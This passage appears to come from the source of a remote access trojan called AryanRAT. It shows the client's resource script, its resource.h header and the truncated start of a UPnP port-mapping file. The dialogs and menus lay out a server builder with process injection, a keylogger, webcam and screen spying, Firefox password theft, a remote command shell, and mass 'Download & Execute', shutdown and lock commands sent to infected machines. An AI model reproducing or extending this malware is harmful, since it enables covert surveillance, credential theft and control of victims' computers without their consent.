IDC_FILENAME,175,2,110,12,ES_AUTOHSCROLL 218 | LTEXT "FileName :",IDC_STATIC,141,4,34,8 219 | LTEXT "Dir:",IDC_STATIC,1,4,13,10 220 | END 221 | 222 | IDD_SERVEREDIT DIALOG DISCARDABLE 0, 0, 343, 115 223 | STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU 224 | CAPTION "Server Edit" 225 | FONT 8, "MS Sans Serif" 226 | BEGIN 227 | LTEXT "IP/DNS:",IDC_STATIC,13,18,36,12 228 | EDITTEXT IDC_IP,59,16,278,12,ES_AUTOHSCROLL 229 | GROUPBOX "Adresses",IDC_STATIC,7,7,336,26 230 | LTEXT "Main Port :",IDC_STATIC,14,44,34,8 231 | EDITTEXT IDC_FILEPORT,220,41,117,12,ES_AUTOHSCROLL 232 | PUSHBUTTON "Build",IDC_BUILD,260,95,78,12 233 | LTEXT "Exe Name :",IDC_STATIC,13,69,37,10 234 | EDITTEXT IDC_NAME,59,68,275,12,ES_AUTOHSCROLL 235 | LTEXT "File Port :",IDC_STATIC,175,44,29,8 236 | EDITTEXT IDC_MAINPORT,59,42,116,12,ES_AUTOHSCROLL 237 | GROUPBOX "Port Settings",IDC_STATIC,7,34,336,25 238 | GROUPBOX "Name",IDC_STATIC,7,61,336,22 239 | GROUPBOX "Inject",IDC_STATIC,7,84,336,24 240 | EDITTEXT IDC_PROCESS,59,95,195,13,ES_AUTOHSCROLL 241 | LTEXT "Process",IDC_STATIC,10,95,45,10 242 | END 243 | 244 | EULA DIALOGEX 0, 0, 303, 294 245 | STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU 246 | CAPTION "EULA" 247 | FONT 8, "MS Sans Serif", 0, 0, 0x1 248 | BEGIN 249 | PUSHBUTTON "I agree",IDC_AGREE,165,271,66,16,0,WS_EX_CLIENTEDGE 250 | PUSHBUTTON "Don't Agree",IDC_DISAGREE,238,271,65,16,0, 251 | WS_EX_CLIENTEDGE 252 | CONTROL "",IDC_EULA,"RICHEDIT",ES_MULTILINE | ES_READONLY | 253 | WS_VSCROLL | WS_HSCROLL | WS_TABSTOP,1,1,302,265, 254 | WS_EX_CLIENTEDGE 255 | END 256 | 257 | IDD_PASSWORDS DIALOGEX 0, 0, 300, 254 258 | STYLE WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME 259 | CAPTION "Dialog" 260 | FONT 8, "MS Sans Serif", 0, 0, 0x1 261 | BEGIN 262 | CONTROL "List1",IDC_PASSWORDS,"SysListView32",LVS_REPORT | 263 | WS_TABSTOP,0,0,300,236,WS_EX_CLIENTEDGE 264 | EDITTEXT IDC_ID,4,241,38,10,ES_AUTOHSCROLL 265 | END 266 | 267 | IDD_REGISTERYMAN DIALOGEX 0, 0, 396, 289 268 | STYLE WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME 269 | CAPTION "Dialog" 270 | FONT 8, "MS Sans Serif", 0, 0, 0x1 271 | BEGIN 272 | CONTROL "List2",IDC_KEYLIST,"SysListView32",LVS_REPORT | 273 | WS_TABSTOP,157,0,238,289,WS_EX_CLIENTEDGE 274 | CONTROL "Tree1",IDC_REGFOLDERS,"SysTreeView32",TVS_HASBUTTONS | 275 | TVS_HASLINES | TVS_LINESATROOT | WS_TABSTOP,1,0,154,289, 276 | WS_EX_CLIENTEDGE 277 | EDITTEXT IDC_ID,117,278,38,12,ES_AUTOHSCROLL 278 | END 279 | 280 | IDD_SHELLABC DIALOGEX 0, 0, 323, 233 281 | STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU 282 | CAPTION "Dialog" 283 | FONT 8, "MS Sans Serif", 0, 0, 0x1 284 | BEGIN 285 | EDITTEXT IDC_CMD,0,212,273,14,ES_AUTOHSCROLL 286 | PUSHBUTTON "Send",IDC_SENDCMD,276,212,47,14,0,WS_EX_CLIENTEDGE 287 | CONTROL "",IDC_CMD1,"RICHEDIT",ES_MULTILINE | ES_AUTOVSCROLL | 288 | ES_READONLY | WS_VSCROLL | WS_TABSTOP,0,0,323,210, 289 | WS_EX_CLIENTEDGE 290 | END 291 | 292 | IDD_INSTALLEDPROGS DIALOGEX 0, 0, 272, 234 293 | STYLE WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME 294 | CAPTION "Dialog" 295 | FONT 8, "MS Sans Serif", 0, 0, 0x1 296 | BEGIN 297 | CONTROL "List1",IDC_PROGS,"SysListView32",LVS_REPORT | 298 | WS_TABSTOP,0,14,272,92,WS_EX_CLIENTEDGE 299 | CONTROL "List1",IDC_SERVICES,"SysListView32",LVS_REPORT | 300 | WS_TABSTOP,0,108,272,117,WS_EX_CLIENTEDGE 301 | CONTROL "Tab2",IDC_TAB4,"SysTabControl32",0x0,0,2,272,232 302 | EDITTEXT IDC_ID,174,2,38,12,ES_AUTOHSCROLL 303 | END 304 | 305 | IDD_WEBCAM DIALOG DISCARDABLE 0, 0, 284, 203 306 | STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU 307 | CAPTION "Dialog" 308 | FONT 8, "MS Sans Serif" 309 | BEGIN 310 | CONTROL "Progress1",IDC_PROGRESS1,"msctls_progress32",PBS_SMOOTH, 311 | 1,194,282,8 312 | EDITTEXT IDC_ID,133,132,38,10,ES_AUTOHSCROLL 313 | END 314 | 315 | 316 | ///////////////////////////////////////////////////////////////////////////// 317 | // 318 | // DESIGNINFO 319 | // 320 | 321 | #ifdef APSTUDIO_INVOKED 322 | GUIDELINES DESIGNINFO DISCARDABLE 323 | BEGIN 324 | IDD_DIALOG1, DIALOG 325 | BEGIN 326 | RIGHTMARGIN, 445 327 | VERTGUIDE, 56 328 | VERTGUIDE, 193 329 | VERTGUIDE, 231 330 | VERTGUIDE, 367 331 | BOTTOMMARGIN, 136 332 | END 333 | 334 | IDD_DIALOG3, DIALOG 335 | BEGIN 336 | VERTGUIDE, 260 337 | HORZGUIDE, 176 338 | END 339 | 340 | IDD_FILE, DIALOG 341 | BEGIN 342 | RIGHTMARGIN, 359 343 | BOTTOMMARGIN, 247 344 | HORZGUIDE, 16 345 | HORZGUIDE, 243 346 | END 347 | 348 | IDD_RENAME, DIALOG 349 | BEGIN 350 | LEFTMARGIN, 7 351 | END 352 | 353 | IDD_SETTINGS, DIALOG 354 | BEGIN 355 | RIGHTMARGIN, 147 356 | VERTGUIDE, 6 357 | VERTGUIDE, 9 358 | VERTGUIDE, 146 359 | BOTTOMMARGIN, 144 360 | END 361 | 362 | IDD_SEARCH, DIALOG 363 | BEGIN 364 | VERTGUIDE, 141 365 | VERTGUIDE, 175 366 | BOTTOMMARGIN, 259 367 | HORZGUIDE, 17 368 | HORZGUIDE, 25 369 | END 370 | 371 | IDD_SERVEREDIT, DIALOG 372 | BEGIN 373 | LEFTMARGIN, 7 374 | VERTGUIDE, 59 375 | VERTGUIDE, 337 376 | TOPMARGIN, 7 377 | BOTTOMMARGIN, 108 378 | END 379 | 380 | EULA, DIALOG 381 | BEGIN 382 | BOTTOMMARGIN, 287 383 | END 384 | 385 | IDD_REGISTERYMAN, DIALOG 386 | BEGIN 387 | RIGHTMARGIN, 340 388 | END 389 | 390 | IDD_SHELLABC, DIALOG 391 | BEGIN 392 | BOTTOMMARGIN, 226 393 | END 394 | 395 | IDD_INSTALLEDPROGS, DIALOG 396 | BEGIN 397 | TOPMARGIN, 2 398 | END 399 | END 400 | #endif // APSTUDIO_INVOKED 401 | 402 | 403 | ///////////////////////////////////////////////////////////////////////////// 404 | // 405 | // Menu 406 | // 407 | 408 | IDR_MENU2 MENU DISCARDABLE 409 | BEGIN 410 | POPUP "File" 411 | BEGIN 412 | MENUITEM "&Listen", IDC_LISTEN 413 | MENUITEM "&Stop", IDC_DISCONNECT 414 | MENUITEM SEPARATOR 415 | MENUITEM "&Exit", IDCANCEL 416 | END 417 | POPUP "Edit" 418 | BEGIN 419 | MENUITEM "Connection", IDC_SETTINGS 420 | MENUITEM SEPARATOR 421 | MENUITEM "Edit Server", IDC_EDITSERVER 422 | END 423 | POPUP "Tools" 424 | BEGIN 425 | POPUP "Admin" 426 | BEGIN 427 | MENUITEM "File Manager", IDC_FILEMANAGER 428 | MENUITEM "Task manager", IDC_TASKMANAGER 429 | MENUITEM "Registry Manager", IDC_REGISTRY 430 | MENUITEM "System Manager", IDC_APPSMAN 431 | END 432 | POPUP "Spy" 433 | BEGIN 434 | MENUITEM "Screen Capture", IDC_SCREENCAPTURE 435 | MENUITEM "Keylogger", IDC_KEYLOGGER 436 | MENUITEM "WebCam", IDC_WEBCAM 437 | END 438 | POPUP "Passwords" 439 | BEGIN 440 | MENUITEM "FireFox", IDC_FIREFOX 441 | END 442 | MENUITEM SEPARATOR 443 | POPUP "Fun" 444 | BEGIN 445 | MENUITEM "Open CD", IDC_OPEN_CD 446 | MENUITEM "Close CD", IDC_CLOSE_CD 447 | MENUITEM "Disable Mouse", IDC_DISABLE_MOUSE 448 | MENUITEM "Enable Mouse", IDC_ENABLE_MOUSE 449 | END 450 | MENUITEM SEPARATOR 451 | POPUP "BroadCast" 452 | BEGIN 453 | MENUITEM "ShutDown", IDC_BROADCAST_SHUTDOWN 454 | MENUITEM "Lock Machine", IDC_BROADCAST_LOCK 455 | MENUITEM "Log Off", IDC_BROADCAST_LOGOFF 456 | MENUITEM SEPARATOR 457 | POPUP "Connection" 458 | BEGIN 459 | MENUITEM "Kill", IDC_BROADCAST_KILL 460 | END 461 | END 462 | MENUITEM SEPARATOR 463 | MENUITEM "ShutDown", IDC_SHUTDOWN 464 | MENUITEM "Lock Machine", IDC_LOCK 465 | MENUITEM "Log Off", IDC_LOGOFF 466 | MENUITEM SEPARATOR 467 | POPUP "Connection" 468 | BEGIN 469 | MENUITEM "Stop", IDC_DISCONNECT 470 | MENUITEM "Kill", IDC_KILL 471 | END 472 | END 473 | POPUP "Tools" 474 | BEGIN 475 | POPUP "Admin" 476 | BEGIN 477 | MENUITEM "File Manager", IDC_FILEMANAGER 478 | MENUITEM "Task manager", IDC_TASKMANAGER 479 | MENUITEM "Service Manager", IDC_SERVICEMANAGER 480 | MENUITEM "Registry Manager", IDC_REGISTRY 481 | MENUITEM "CMD", IDC_CMD 482 | END 483 | POPUP "Spy" 484 | BEGIN 485 | MENUITEM "Screen Capture", IDC_SCREENCAPTURE 486 | MENUITEM "Keylogger", IDC_KEYLOGGER 487 | END 488 | POPUP "Passwords" 489 | BEGIN 490 | MENUITEM "FireFox", IDC_FIREFOX 491 | END 492 | MENUITEM SEPARATOR 493 | POPUP "BroadCast" 494 | BEGIN 495 | MENUITEM "Download && Execute", IDC_DOWNLOAD_URL 496 | END 497 | MENUITEM SEPARATOR 498 | MENUITEM "ShutDown", IDC_SHUTDOWN 499 | MENUITEM "Lock Machine", IDC_LOCK 500 | MENUITEM "Log Off", IDC_LOGOFF 501 | MENUITEM SEPARATOR 502 | POPUP "Connection" 503 | BEGIN 504 | MENUITEM "Stop", IDC_DISCONNECT 505 | MENUITEM "Kill", IDC_KILL 506 | END 507 | END 508 | POPUP "Help" 509 | BEGIN 510 | MENUITEM "About", IDC_ABOUT 511 | END 512 | END 513 | 514 | IDR_MENU1 MENU DISCARDABLE 515 | BEGIN 516 | POPUP "Manage" 517 | BEGIN 518 | MENUITEM "Kill", IDC_TASK_KILL 519 | MENUITEM SEPARATOR 520 | MENUITEM "Refresh", IDC_REFRESH_TASK 521 | MENUITEM SEPARATOR 522 | END 523 | END 524 | 525 | IDR_MENU3 MENU DISCARDABLE 526 | BEGIN 527 | POPUP "File" 528 | BEGIN 529 | MENUITEM "Download", IDC_DOWNLOAD 530 | MENUITEM "Upload", IDC_UPLOAD 531 | MENUITEM SEPARATOR 532 | MENUITEM "Delete File", IDC_DELETEFILE 533 | MENUITEM "Rename", IDC_RENAME 534 | MENUITEM "Cut", IDC_MOVE 535 | MENUITEM "Copy", IDC_COPY 536 | MENUITEM "Paste", IDC_PASTE 537 | MENUITEM SEPARATOR 538 | MENUITEM "Execute", IDC_EXECUTE 539 | END 540 | MENUITEM "Edit", 65535 541 | END 542 | 543 | IDR_COMMANDS MENU DISCARDABLE 544 | BEGIN 545 | POPUP "Tools" 546 | BEGIN 547 | POPUP "Admin" 548 | BEGIN 549 | MENUITEM "File Manager", IDC_FILEMANAGER 550 | MENUITEM "Task manager", IDC_TASKMANAGER 551 | MENUITEM "Registry Manager", IDC_REGISTRY 552 | MENUITEM "System Manager", IDC_APPSMAN 553 | END 554 | POPUP "Spy" 555 | BEGIN 556 | MENUITEM "Screen Capture", IDC_SCREENCAPTURE 557 | MENUITEM "Keylogger", IDC_KEYLOGGER 558 | MENUITEM "WebCam", IDC_WEBCAM 559 | END 560 | POPUP "Passwords" 561 | BEGIN 562 | MENUITEM "FireFox", IDC_FIREFOX 563 | END 564 | MENUITEM SEPARATOR 565 | POPUP "Fun" 566 | BEGIN 567 | MENUITEM "Open CD", IDC_OPEN_CD 568 | MENUITEM "Close CD", IDC_CLOSE_CD 569 | MENUITEM "Monitor Off", IDC_MONITOR_OFF 570 | MENUITEM "Monitor On", IDC_MONITOR_ON 571 | MENUITEM "Invert Screen", IDC_INVERT_SCREEN_COLOUR 572 | END 573 | MENUITEM SEPARATOR 574 | POPUP "BroadCast" 575 | BEGIN 576 | MENUITEM "ShutDown", IDC_BROADCAST_SHUTDOWN 577 | MENUITEM "Lock Machine", IDC_BROADCAST_LOCK 578 | MENUITEM "Log Off", IDC_BROADCAST_LOGOFF 579 | MENUITEM SEPARATOR 580 | POPUP "Connection" 581 | BEGIN 582 | MENUITEM "Kill", IDC_BROADCAST_KILL 583 | END 584 | END 585 | MENUITEM SEPARATOR 586 | MENUITEM "ShutDown", IDC_SHUTDOWN 587 | MENUITEM "Lock Machine", IDC_LOCK 588 | MENUITEM "Log Off", IDC_LOGOFF 589 | MENUITEM SEPARATOR 590 | POPUP "Connection" 591 | BEGIN 592 | MENUITEM "Stop", IDC_DISCONNECT 593 | MENUITEM "Kill", IDC_KILL 594 | END 595 | END 596 | END 597 | 598 | IDR_MENU4 MENU DISCARDABLE 599 | BEGIN 600 | POPUP "File" 601 | BEGIN 602 | MENUITEM "listen", IDC_LISTEN 603 | MENUITEM SEPARATOR 604 | MENUITEM "Settings", IDC_SETTINGS 605 | MENUITEM SEPARATOR 606 | MENUITEM "Edit Server", IDC_SETTING 607 | END 608 | END 609 | 610 | IDR_DOWNLOAD MENU DISCARDABLE 611 | BEGIN 612 | POPUP "Downloads" 613 | BEGIN 614 | MENUITEM "Stop", IDC_STOP 615 | MENUITEM "Pause", IDC_PAUSE 616 | MENUITEM "Resume", IDC_RESUME 617 | MENUITEM SEPARATOR 618 | MENUITEM "Reset", IDC_RESET 619 | END 620 | END 621 | 622 | IDR_KEY MENU DISCARDABLE 623 | BEGIN 624 | POPUP "Setting" 625 | BEGIN 626 | POPUP "Colour" 627 | BEGIN 628 | MENUITEM "WindowTitle", IDC_WINDOWTEXT 629 | MENUITEM "Time && Date", IDC_TIME 630 | MENUITEM "Keys", IDC_TEXTNORMAL 631 | MENUITEM "BackGround", IDC_BACKGROUND 632 | END 633 | END 634 | END 635 | 636 | IDR_MENU5 MENU DISCARDABLE 637 | BEGIN 638 | POPUP "File" 639 | BEGIN 640 | MENUITEM "Download", IDC_DOWNLOAD 641 | MENUITEM SEPARATOR 642 | MENUITEM "Delete", IDC_DELETEFILE 643 | END 644 | END 645 | 646 | IDR_MENU6 MENU DISCARDABLE 647 | BEGIN 648 | POPUP "File" 649 | BEGIN 650 | MENUITEM "Goto Website", IDC_GOTOSITE 651 | MENUITEM "Copy Pass", IDC_COPYPW 652 | MENUITEM "Copy User", IDC_COPYUSER 653 | MENUITEM SEPARATOR 654 | MENUITEM "Refresh", IDC_REFRESH 655 | END 656 | END 657 | 658 | IDR_MENU7 MENU DISCARDABLE 659 | BEGIN 660 | POPUP "Tool" 661 | BEGIN 662 | MENUITEM "Modify", ID_TOOL_MODIFY 663 | MENUITEM SEPARATOR 664 | MENUITEM "Delete", IDC_DELETEKEY 665 | END 666 | END 667 | 668 | IDR_MENU8 MENU DISCARDABLE 669 | BEGIN 670 | POPUP "Progs" 671 | BEGIN 672 | MENUITEM "Remove", IDC_REMOVE_PROG 673 | END 674 | END 675 | 676 | IDR_MENU9 MENU DISCARDABLE 677 | BEGIN 678 | POPUP "Download's" 679 | BEGIN 680 | MENUITEM "Stop", ID_DOWNLOADS_STOP 681 | MENUITEM "Pause", ID_DOWNLOADS_PAUSE 682 | MENUITEM "Resume", ID_DOWNLOADS_RESUME 683 | END 684 | END 685 | 686 | IDR_MENU10 MENU DISCARDABLE 687 | BEGIN 688 | POPUP "Service" 689 | BEGIN 690 | MENUITEM "Stop", IDC_STOP_SERVICE 691 | MENUITEM "Start", IDC_START_SERVICE 692 | END 693 | END 694 | 695 | 696 | ///////////////////////////////////////////////////////////////////////////// 697 | // 698 | // Icon 699 | // 700 | 701 | // Icon with lowest ID value placed first to ensure application icon 702 | // remains consistent on all systems. 703 | IDI_ARYAN ICON DISCARDABLE "favicon.ico" 704 | IDI_CD ICON DISCARDABLE "drive_cd.ico" 705 | IDI_FLOPPY ICON DISCARDABLE "drive_disk.ico" 706 | IDI_NETWORK ICON DISCARDABLE "drive_network.ico" 707 | IDI_VIDEO ICON DISCARDABLE "film.ico" 708 | IDI_FOLDER ICON DISCARDABLE "folder.ico" 709 | IDI_STATIC ICON DISCARDABLE "Hard Drive_ico_5.ico" 710 | IDI_COMPRESSED ICON DISCARDABLE "icon2.ico" 711 | IDI_PICTURE ICON DISCARDABLE "image.ico" 712 | IDI_MEDIA ICON DISCARDABLE "Media Clip_ico_1.ico" 713 | IDI_TEXT ICON DISCARDABLE "21_ico_1.ico" 714 | IDI_FILE ICON DISCARDABLE "Default Document_ico_3.ico" 715 | IDI_DWORD ICON DISCARDABLE "Icon_18.ico" 716 | IDI_STRING ICON DISCARDABLE "Icon_17.ico" 717 | IDI_IE ICON DISCARDABLE "Internet Explorer.ico" 718 | IDI_FIREFOX ICON DISCARDABLE "firefox-icon.ico" 719 | IDI_EXE ICON DISCARDABLE "dos.ico" 720 | IDI_SERVICE ICON DISCARDABLE "process.ico" 721 | IDI_CONNECTION ICON DISCARDABLE "display-32x32.ico" 722 | IDI_MEDIUMPING ICON DISCARDABLE "yellow.ico" 723 | IDI_HIGHPING ICON DISCARDABLE "new(1).ico" 724 | IDI_LOWPING ICON DISCARDABLE "green.ico" 725 | IDI_FILE_STOP ICON DISCARDABLE "icon1.ico" 726 | IDI_FILE_PAUSE ICON DISCARDABLE "file_pau.ico" 727 | IDI_FILE_PLAY ICON DISCARDABLE "arrow_down.ico" 728 | IDI_FILE_UP ICON DISCARDABLE "arrow_up.ico" 729 | 730 | ///////////////////////////////////////////////////////////////////////////// 731 | // 732 | // BINARY 733 | // 734 | 735 | #endif // English (U.K.) resources 736 | ///////////////////////////////////////////////////////////////////////////// 737 | 738 | 739 | 740 | #ifndef APSTUDIO_INVOKED 741 | ///////////////////////////////////////////////////////////////////////////// 742 | // 743 | // Generated from the TEXTINCLUDE 3 resource. 744 | // 745 | 746 | 747 | ///////////////////////////////////////////////////////////////////////////// 748 | #endif // not APSTUDIO_INVOKED 749 | 750 | -------------------------------------------------------------------------------- /AryanRAT/Client/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Developer Studio generated include file. 3 | // Used by res.rc 4 | // 5 | #define IDI_ARYAN 1 6 | #define IDC_KEYS 100 7 | #define IDD_DIALOG1 101 8 | #define IDC_KEYS2 101 9 | #define IDR_MENU2 104 10 | #define IDD_DIALOG2 110 11 | #define IDD_DIALOG3 111 12 | #define IDR_MENU1 114 13 | #define IDB_TREE 132 14 | #define IDB_FILE 133 15 | #define IDR_MENU3 134 16 | #define IDD_FILE 135 17 | #define IDB_FLOPPY 139 18 | #define IDB_CD 141 19 | #define IDB_STATIC 143 20 | #define IDB_NETWORK 145 21 | #define IDB_FOLDER 149 22 | #define IDB_BACK 153 23 | #define IDR_TOOLBAR1 172 24 | #define IDR_COMMANDS 174 25 | #define IDR_MENU4 175 26 | #define IDR_MENUFolder 177 27 | #define IDB_BOOKMARK 179 28 | #define IDR_MENUBOOK 181 29 | #define IDI_BOOKMARKRED 192 30 | #define IDI_BOOKMARKBLUE 193 31 | #define IDI_BOOKMARK 194 32 | #define IDI_BOOKMARKPURPLE 195 33 | #define IDC_TASK_TAB 200 34 | #define IDI_STATIC 227 35 | #define IDI_FILE 233 36 | #define IDI_TEXT 236 37 | #define IDI_MEDIA 237 38 | #define IDI_EXE 243 39 | #define IDI_FOLDER 246 40 | #define IDI_FLOPPY 247 41 | #define IDI_CD 248 42 | #define IDI_NETWORK 249 43 | #define IDI_PICTURE 250 44 | #define IDI_VIDEO 251 45 | #define IDI_COMPRESSED 253 46 | #define IDD_RENAME 259 47 | #define IDR_DOWNLOAD 260 48 | #define IDD_KEYLOG 261 49 | #define IDD_CONNECT 262 50 | #define IDD_SCREEN 263 51 | #define IDD_SCREEN_ABD 263 52 | #define IDD_SETTINGS 264 53 | #define IDR_KEY 267 54 | #define IDD_SEARCH 270 55 | #define IDR_MENU5 271 56 | #define IDD_SERVEREDIT 272 57 | #define EULA 273 58 | #define IDD_PASSWORDS 274 59 | #define IDD_SERVICES 275 60 | #define IDR_MENU6 276 61 | #define IDD_REGISTERYMAN 277 62 | #define IDD_SHELLABC 300 63 | #define IDI_DWORD 303 64 | #define IDI_STRING 304 65 | #define IDR_MENU7 305 66 | #define IDD_INSTALLEDPROGS 306 67 | #define IDR_MENU8 307 68 | #define IDI_IE 310 69 | #define IDI_FIREFOX 314 70 | #define IDI_SERVICE 318 71 | #define IDI_CONNECTION 319 72 | #define IDI_MEDIUMPING 320 73 | #define IDI_HIGHPING 322 74 | #define IDI_LOWPING 323 75 | #define IDR_MENU9 325 76 | #define IDI_FILE_STOP 329 77 | #define IDI_FILE_PLAY 330 78 | #define IDI_FILE_PAUSE 331 79 | #define IDI_FILE_UP 333 80 | #define IDR_MENU10 334 81 | #define IDD_WEBCAM 335 82 | #define IDR_EXE 345 83 | #define IDC_FILE_STATUS 1011 84 | #define IDC_TASK_STATUS 1012 85 | #define IDC_MAIN_STATUS 1013 86 | #define IDC_SERVERLIST 1014 87 | #define IDC_LOGS 1015 88 | #define IDC_CONNECTIONSTATUS 1017 89 | #define IDC_COMMANDS 1019 90 | #define IDC_SENDCMD 1020 91 | #define IDC_SHELL_STATUS 1021 92 | #define IDC_TASKLIST 1021 93 | #define IDC_Windows 1022 94 | #define IDC_LISTDIR 1036 95 | #define IDC_TREE1 1037 96 | #define IDC_FILELIST 1038 97 | #define IDC_BOOKMARKS 1039 98 | #define IDC_FOLDERS 1041 99 | #define IDC_DOWNLOADS 1043 100 | #define IDC_TAB1 1044 101 | #define IDC_NAME 1057 102 | #define IDC_SETNAME 1058 103 | #define IDC_MAINPORT 1066 104 | #define IDC_FILEPORT 1067 105 | #define IDC_SEARCHLIST 1082 106 | #define IDC_SEARCH 1083 107 | #define IDC_DIR 1084 108 | #define IDC_FILENAME 1085 109 | #define IDC_IPADDRESS 1086 110 | #define IDC_SERIVCENAME 1087 111 | #define IDC_OK 1088 112 | #define IDC_IP 1089 113 | #define IDC_BUILD 1093 114 | #define IDC_AGREE 1095 115 | #define IDC_DISAGREE 1096 116 | #define IDC_EULA 1097 117 | #define IDC_PASSWORDS 1099 118 | #define IDC_SERVICES 1100 119 | #define IDC_KEYLIST 1102 120 | #define IDC_REGFOLDERS 1103 121 | #define IDC_LIST2 1106 122 | #define IDC_PROGRESS 1109 123 | #define IDC_SLIDER1 1110 124 | #define IDC_TAB2 1115 125 | #define IDC_PROGRESSA 1117 126 | #define IDC_CMD1 1121 127 | #define IDC_PROGS 1123 128 | #define IDC_OKSETTING 1129 129 | #define IDC_SETTINGTEXT 1131 130 | #define IDC_SETTINGTEXT1 1132 131 | #define IDC_SETTINGTEXT2 1133 132 | #define IDC_SETTINGTEXT3 1134 133 | #define IDC_KEYSCOLOUR 1135 134 | #define IDC_KEYCOLOUR 1136 135 | #define IDC_KEYSCOLOUR2 1137 136 | #define IDC_KEYCOLOUR2 1138 137 | #define IDC_KEYLOGGERCOLOURS 1140 138 | #define IDC_KEYSCOLOUR3 1141 139 | #define IDC_KEYCOLOUR3 1142 140 | #define IDC_KEYCOLOUR4 1143 141 | #define IDC_TAB3 1146 142 | #define IDC_KEYSCOLOUR4 1147 143 | #define IDC_TAB4 1148 144 | #define IDC_STATICA 1149 145 | #define IDC_STATICB 1150 146 | #define IDC_ID 1152 147 | #define IDC_PROGRESS1 1153 148 | #define IDC_PROCESS 1154 149 | #define IDC_SLEEP 1155 150 | #define IDC_SETTING_MAIN_STATUS 2000 151 | #define IDC_LISTEN 40001 152 | #define IDC_DISCONNECT 40002 153 | #define IDC_EXIT 40003 154 | #define IDC_RESET 40004 155 | #define IDC_FILEMANAGER 40005 156 | #define IDC_SHELL 40006 157 | #define IDC_TASKMANAGER 40007 158 | #define IDC_CONNECTIONOPTIONS 40008 159 | #define IDC_EDITSERVER 40009 160 | #define IDC_TASK_KILL 40011 161 | #define IDC_REFRESH_TASK 40012 162 | #define IDC_FOLDER 40013 163 | #define IDC_DELETE 40014 164 | #define IDC_DELETEFILE 40014 165 | #define IDC_BACK 40015 166 | #define IDC_FORWARD 40016 167 | #define ID_BUTTON40017 40017 168 | #define IDC_LOGOFF 40018 169 | #define IDC_SHUTDOWN 40019 170 | #define IDC_RESTART 40020 171 | #define IDC_BOOKMARK 40026 172 | #define IDC_ENTERDIR 40027 173 | #define IDC_DOWNLOAD 40028 174 | #define IDC_UPLOAD 40029 175 | #define IDC_GOTO 40030 176 | #define IDC_COPY 40033 177 | #define IDC_PASTE 40034 178 | #define IDC_MOVE 40037 179 | #define IDC_RENAME 40038 180 | #define IDC_NEW_FOLDER 40039 181 | #define IDC_RENAME_FOLDER 40040 182 | #define IDC_SCREENCAPTURE 40042 183 | #define IDC_SETTINGS 40043 184 | #define IDC_KEYLOGGER 40044 185 | #define IDC_SETTINGS2 40044 186 | #define IDC_WINDOWTEXT 40046 187 | #define IDC_TIME 40047 188 | #define IDC_TEXTNORMAL 40048 189 | #define IDC_BACKGROUND 40049 190 | #define IDC_FIND 40051 191 | #define IDC_KILL 40054 192 | #define IDC_EXECUTE 40055 193 | #define IDC_SEARCH_STATUS 40056 194 | #define IDC_FIREFOX 40056 195 | #define IDC_SERVICEMANAGER 40057 196 | #define IDC_CMD 40058 197 | #define IDC_REGISTRY 40059 198 | #define IDC_GOTOSITE 40060 199 | #define IDC_COPYPW 40061 200 | #define IDC_COPYUSER 40062 201 | #define IDC_DOWNLOAD_URL 40064 202 | #define IDC_REFRESH 40065 203 | #define IDC_BROADCAST_FILEMAN 40066 204 | #define IDC_BROADCAST_TASKMAN 40067 205 | #define IDC_BROADCAST_SERVICE 40068 206 | #define IDC_BROADCAST_REG 40069 207 | #define IDC_BROADCAST_SCREENCAPTURE 40070 208 | #define IDC_BROADCAST_KEYLOG 40071 209 | #define IDC_BROADCAST_FIREFOX 40072 210 | #define IDC_BROADCAST_CMD 40073 211 | #define IDC_BROADCAST_KILL 40075 212 | #define IDC_LOCK 40078 213 | #define IDC_BROADCAST_SHUTDOWN 40079 214 | #define IDC_BROADCAST_LOCK 40080 215 | #define IDC_BROADCAST_LOGOFF 40081 216 | #define IDC_APPSMAN 40082 217 | #define ID_TOOL_MODIFY 40083 218 | #define IDC_DELETEKEY 40084 219 | #define IDC_EXECUTE_PROG 40085 220 | #define IDC_REMOVE_PROG 40086 221 | #define IDC_ABOUT 40088 222 | #define IDC_WEBCAM 40089 223 | #define ID_DOWNLOADS_STOP 40090 224 | #define ID_DOWNLOADS_PAUSE 40091 225 | #define ID_DOWNLOADS_RESUME 40092 226 | #define IDC_STOP 40093 227 | #define IDC_PAUSE 40094 228 | #define IDC_RESUME 40095 229 | #define IDC_STOP_SERVICE 40096 230 | #define IDC_START_SERVICE 40097 231 | #define IDC_OPEN_CD 40098 232 | #define IDC_CLOSE_CD 40099 233 | #define IDC_DISABLE_MOUSE 40100 234 | #define IDC_ENABLE_MOUSE 40101 235 | #define IDC_MONITOR_OFF 40102 236 | #define IDC_MONITOR_ON 40103 237 | #define IDC_INVERT_SCREEN_COLOUR 40104 238 | #define IDC_SETTING 40105 239 | 240 | // Next default values for new objects 241 | // 242 | #ifdef APSTUDIO_INVOKED 243 | #ifndef APSTUDIO_READONLY_SYMBOLS 244 | #define _APS_NEXT_RESOURCE_VALUE 346 245 | #define _APS_NEXT_COMMAND_VALUE 40106 246 | #define _APS_NEXT_CONTROL_VALUE 1156 247 | #define _APS_NEXT_SYMED_VALUE 101 248 | #endif 249 | #endif 250 | -------------------------------------------------------------------------------- /AryanRAT/Client/upnpnat.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #pragma comment(lib,"ws2_32.lib") 3 | #include 4 | #include 5 | 6 | #include "upnpnat.h" 7 | #include "xmlParser.h" 8 | 9 | #define MAX_BUFF_SIZE 102400 10 | 11 | static bool parseUrl(const char* url,std::string& host,unsigned short* port,std::string& path) 12 | { 13 | std::string str_url=url; 14 | 15 | std::string::size_type pos1,pos2,pos3; 16 | pos1=str_url.find("://"); 17 | if(pos1==std::string::npos) 18 | { 19 | return false; 20 | } 21 | pos1=pos1+3; 22 | 23 | pos2=str_url.find(":",pos1); 24 | if(pos2==std::string::npos) 25 | { 26 | *port=80; 27 | pos3=str_url.find("/",pos1); 28 | if(pos3==std::string::npos) 29 | { 30 | return false; 31 | } 32 | 33 | host=str_url.substr(pos1,pos3-pos1); 34 | } 35 | else 36 | { 37 | 